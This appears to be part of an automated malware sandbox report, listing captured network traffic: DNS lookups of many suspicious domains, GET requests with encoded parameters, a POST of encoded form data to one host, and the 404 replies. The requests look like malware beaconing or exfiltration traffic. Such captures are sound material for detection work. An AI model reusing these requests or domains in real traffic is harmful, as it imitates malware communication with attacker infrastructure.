            Source: global trafficHTTP traffic detected: GET /0or4/?LvYDDv8X=Lp5/+vi9YY8K7Nvy6f6VObBvt5W1Wqb+NoCw3K6ZHUsEKgtrUQsQIt64QLBx0zRFj9J9bsKt5Xa0RC5qKRCiy4p+yBa6h1uMNADpkO7YzXcGYziLF6ydhNRpo2AwT7uwfJ2myGQ=&uDe8o=HnM0Zn40QtgXtNk0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.wanderworld.infoConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /gs9g/?uDe8o=HnM0Zn40QtgXtNk0&LvYDDv8X=fgjhpXTgznrly9cd/x+t/tGCGyBlwGVdiWQYwkk4+4TOYowlLdX+lWndswJh7474EBNIRugKPRfxSqi+QO8RayzSTKc8PmBEtK+hPll3yIr/knOfBwNNJv85TaKMOWlzFTu5EIw= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.catholic.todayConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /uhl0/?LvYDDv8X=TxVbqFQjrC805feOvmOxEwyF//AKfqr/Xls8HzweuR678Y4Z+oW+BnI4LAoEvRRadOoFnRxIeoJjwfvLdFpItNioeiEOCu4Paj/fGMmid+6L39IUIjukvxYRWUAgh4IsKZixjtI=&uDe8o=HnM0Zn40QtgXtNk0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.xueerr.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficDNS traffic detected: DNS query: www.ankittrading.store
            Source: global trafficDNS traffic detected: DNS query: www.notepad.mobi
            Source: global trafficDNS traffic detected: DNS query: www.elektromontaze.online
            Source: global trafficDNS traffic detected: DNS query: www.rtpsilva4d.click
            Source: global trafficDNS traffic detected: DNS query: www.mcse.top
            Source: global trafficDNS traffic detected: DNS query: www.paysom.xyz
            Source: global trafficDNS traffic detected: DNS query: www.bearableguy.net
            Source: global trafficDNS traffic detected: DNS query: www.monitoraseg.online
            Source: global trafficDNS traffic detected: DNS query: www.spectre.center
            Source: global trafficDNS traffic detected: DNS query: www.kmjai8jf.icu
            Source: global trafficDNS traffic detected: DNS query: www.chrisflynn.click
            Source: global trafficDNS traffic detected: DNS query: www.wanderworld.info
            Source: global trafficDNS traffic detected: DNS query: www.catholic.today
            Source: global trafficDNS traffic detected: DNS query: www.xueerr.xyz
            Source: global trafficDNS traffic detected: DNS query: www.h45d.xyz
            Source: unknownHTTP traffic detected: POST /t3gh/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.5Host: www.elektromontaze.onlineOrigin: http://www.elektromontaze.onlineReferer: http://www.elektromontaze.online/t3gh/Cache-Control: max-age=0Connection: closeContent-Length: 213Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)Data Raw: 4c 76 59 44 44 76 38 58 3d 2b 47 72 71 44 36 73 63 53 57 59 74 78 41 4c 58 69 52 74 34 6f 68 43 43 48 74 52 48 6a 74 41 78 66 52 4d 33 41 72 4b 77 57 58 75 32 44 32 57 4d 61 74 2f 33 6f 4a 74 2f 31 59 54 79 55 5a 30 7a 67 45 34 77 66 63 6f 6f 46 39 6b 46 33 45 44 46 39 44 4a 75 5a 6b 55 4e 4d 4f 36 42 33 6f 48 74 36 33 4d 76 78 78 64 65 66 42 33 35 6f 4a 76 54 30 61 77 49 47 4d 35 62 78 32 46 30 32 73 49 74 49 62 76 73 75 75 72 58 37 70 36 45 41 6e 4d 6a 64 62 73 49 38 74 66 6f 56 6d 6a 69 43 31 36 77 63 64 44 58 53 5a 77 4b 50 77 62 6f 4e 33 33 48 62 33 74 64 73 4f 53 67 53 49 32 4b 39 2b 68 55 71 43 4f 65 70 59 30 71 70 7a 64 51 Data Ascii: LvYDDv8X=+GrqD6scSWYtxALXiRt4ohCCHtRHjtAxfRM3ArKwWXu2D2WMat/3oJt/1YTyUZ0zgE4wfcooF9kF3EDF9DJuZkUNMO6B3oHt63MvxxdefB35oJvT0awIGM5bx2F02sItIbvsuurX7p6EAnMjdbsI8tfoVmjiC16wcdDXSZwKPwboN33Hb3tdsOSgSI2K9+hUqCOepY0qpzdQ
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:45:12 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:45:15 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:45:19 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:45:22 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:45:28 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:45:28 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:45:28 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:45:31 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:45:34 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
